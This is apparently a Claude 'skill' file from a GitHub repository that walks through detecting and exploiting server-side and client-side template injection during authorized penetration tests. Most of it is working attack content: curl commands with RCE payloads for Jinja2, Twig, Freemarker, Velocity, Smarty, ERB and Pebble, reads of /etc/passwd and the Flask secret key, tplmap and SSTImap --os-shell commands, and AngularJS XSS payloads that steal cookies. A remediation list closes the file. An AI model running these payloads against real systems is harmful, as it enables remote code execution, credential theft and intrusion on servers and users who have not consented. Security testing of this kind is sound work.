Anthropic-Cybersecurity-Skills exploiting-template-injection-vulnerabilities
Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker,
git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills
T=$(mktemp -d) && git clone --depth=1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/exploiting-template-injection-vulnerabilities" ~/.claude/skills/mukul975-anthropic-cybersecurity-skills-exploiting-template-injection-vulnerabil && rm -rf "$T"
skills/exploiting-template-injection-vulnerabilities/SKILL.mdExploiting Template Injection Vulnerabilities
When to Use
- During authorized penetration tests when user input is rendered through a server-side template engine
- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
- For assessing applications that allow users to customize templates or notification messages
- When identifying potential SSTI in parameters that reflect arithmetic results (e.g.,
returns{{7*7}}
)49 - During security assessments of CMS platforms, marketing tools, or any application with templating functionality
Prerequisites
- Authorization: Written penetration testing agreement with RCE testing scope
- Burp Suite Professional: For intercepting and modifying template parameters
- tplmap: Automated SSTI exploitation tool (
)git clone https://github.com/epinna/tplmap.git - SSTImap: Modern SSTI scanner (
)pip install sstimap - curl: For manual SSTI payload testing
- Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
Workflow
Step 1: Identify Template Injection Points
Find parameters where user input is processed by a template engine.
# Inject mathematical expressions to detect template processing # If the server evaluates the expression, SSTI may be present # Universal detection payloads PAYLOADS=( '{{7*7}}' # Jinja2, Twig '${7*7}' # Freemarker, Velocity, Spring EL '#{7*7}' # Thymeleaf, Ruby ERB '<%= 7*7 %>' # ERB (Ruby), EJS (Node.js) '{7*7}' # Smarty '{{= 7*7}}' # doT.js '${{7*7}}' # AngularJS/Spring '#set($x=7*7)$x' # Velocity ) for payload in "${PAYLOADS[@]}"; do encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))") echo -n "$payload -> " curl -s "https://target.example.com/page?name=$encoded" | grep -o "49" done # Check common injection locations: # - Error pages with reflected input # - Profile fields (name, bio, signature) # - Email subject/body templates # - PDF/report generation with custom fields # - Search results pages # - 404 pages reflecting the URL path # - Notification templates
Step 2: Identify the Template Engine
Determine which template engine is in use to select the appropriate exploitation technique.
# Decision tree for engine identification: # {{7*'7'}} => 7777777 = Jinja2 (Python) # {{7*'7'}} => 49 = Twig (PHP) # ${7*7} => 49 = Freemarker/Velocity (Java) # #{7*7} => 49 = Thymeleaf (Java) # <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js) # Test Jinja2 vs Twig curl -s "https://target.example.com/page?name={{7*'7'}}" # 7777777 = Jinja2 # 49 = Twig # Test for Jinja2 specifically curl -s "https://target.example.com/page?name={{config}}" # Returns Flask config = Jinja2/Flask # Test for Freemarker curl -s "https://target.example.com/page?name=\${.now}" # Returns date/time = Freemarker # Test for Velocity curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a" # Returns 1 = Velocity # Test for Smarty curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}" # Returns test = Smarty # Test for Pebble curl -s "https://target.example.com/page?name={{%27test%27.class}}" # Returns class info = Pebble # Use tplmap for automated engine detection python3 tplmap.py -u "https://target.example.com/page?name=test"
Step 3: Exploit Jinja2 (Python/Flask)
Achieve code execution through Jinja2 template injection.
# Read configuration curl -s "https://target.example.com/page?name={{config.items()}}" # Access secret key curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}" # RCE via Jinja2 - method 1: accessing os module through MRO PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}' curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" # RCE via Jinja2 - method 2: using cycler PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}' curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" # RCE via Jinja2 - method 3: using lipsum PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}' curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" # File read via Jinja2 PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}' curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" # Enumerate available subclasses to find useful ones PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}' curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines
Use engine-specific payloads for exploitation.
# --- Twig (PHP) --- # RCE via Twig curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}" # Twig file read curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}" # --- Freemarker (Java) --- # RCE via Freemarker curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}" # Alternative Freemarker RCE curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}" # --- Velocity (Java) --- # RCE via Velocity curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)" # --- Smarty (PHP) --- # RCE via Smarty curl -s "https://target.example.com/page?name={system('id')}" # --- ERB (Ruby) --- # RCE via ERB curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>" # --- Pebble (Java) --- # RCE via Pebble curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
Step 5: Automate with tplmap and SSTImap
Use automated tools for comprehensive testing and exploitation.
# tplmap - Automated SSTI exploitation python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell # tplmap with POST parameter python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id" # tplmap with custom headers python3 tplmap.py -u "https://target.example.com/page?name=test" \ -H "Cookie: session=abc123" \ -H "Authorization: Bearer token" \ --os-cmd "whoami" # SSTImap sstimap -u "https://target.example.com/page?name=test" sstimap -u "https://target.example.com/page?name=test" --os-shell # tplmap file read python3 tplmap.py -u "https://target.example.com/page?name=test" \ --download "/etc/passwd" "/tmp/passwd" # Burp Intruder approach: # 1. Send request to Intruder # 2. Mark the injectable parameter # 3. Load SSTI payload list # 4. Grep for indicators: "49", error messages, class names
Step 6: Test Client-Side Template Injection (CSTI)
Assess for Angular/Vue/React expression injection in client-side templates.
# AngularJS expression injection curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}" # AngularJS sandbox bypass (pre-1.6) curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}" # Vue.js expression injection curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}" # Check for AngularJS ng-app on the page curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-" # Test with different CSTI payloads for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \ '{{$on.constructor("alert(1)")()}}'; do encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))") echo -n "$payload: " curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor" done
Key Concepts
| Concept | Description |
|---|---|
| SSTI | Server-Side Template Injection - injecting template directives that execute server-side |
| CSTI | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
| Template Engine | Software that processes template files with placeholders, replacing them with data |
| Sandbox Escape | Bypassing template engine security restrictions to access dangerous functions |
| MRO (Method Resolution Order) | Python class hierarchy traversal used in Jinja2 exploitation |
| Object Introspection | Using , , to navigate Python objects |
| Blind SSTI | Template injection where output is not directly visible, requiring OOB techniques |
Tools & Systems
| Tool | Purpose |
|---|---|
| tplmap | Automated SSTI detection and exploitation with OS shell capability |
| SSTImap | Modern SSTI scanner with support for multiple template engines |
| Burp Suite Professional | Request interception and Intruder for payload fuzzing |
| Hackvertor (Burp Extension) | Payload encoding and transformation for bypass techniques |
| PayloadsAllTheThings | Comprehensive SSTI payload reference on GitHub |
| OWASP ZAP | Automated SSTI detection in active scanning mode |
Common Scenarios
Scenario 1: Flask Email Template Injection
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through
{{config.items()}} and subclass traversal.
Scenario 2: Java CMS Freemarker Injection
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.
Scenario 3: Error Page SSTI
A custom 404 error page reflects the requested URL path through a Twig template. Requesting
/{{['id']|filter('system')}} causes the server to execute the id command.
Scenario 4: AngularJS Client-Side Injection
A search page renders results using AngularJS with
ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.
Output Format
## Template Injection Finding **Vulnerability**: Server-Side Template Injection (Jinja2) - RCE **Severity**: Critical (CVSS 9.8) **Location**: GET /page?name= (name parameter) **Template Engine**: Jinja2 (Python 3.9 / Flask 2.3) **OWASP Category**: A03:2021 - Injection ### Reproduction Steps 1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI 2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key 3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}} 4. Server returns: uid=33(www-data) gid=33(www-data) ### Confirmed Impact - Remote code execution as www-data user - Secret key disclosure: Flask SECRET_KEY exposed - File system read: /etc/passwd, application source code - Potential lateral movement to internal network ### Recommendation 1. Never pass user input directly to template render functions 2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment) 3. Implement strict input validation and allowlisting for template variables 4. Use logic-less template engines (Mustache, Handlebars) where possible 5. Apply least-privilege OS permissions for the web application user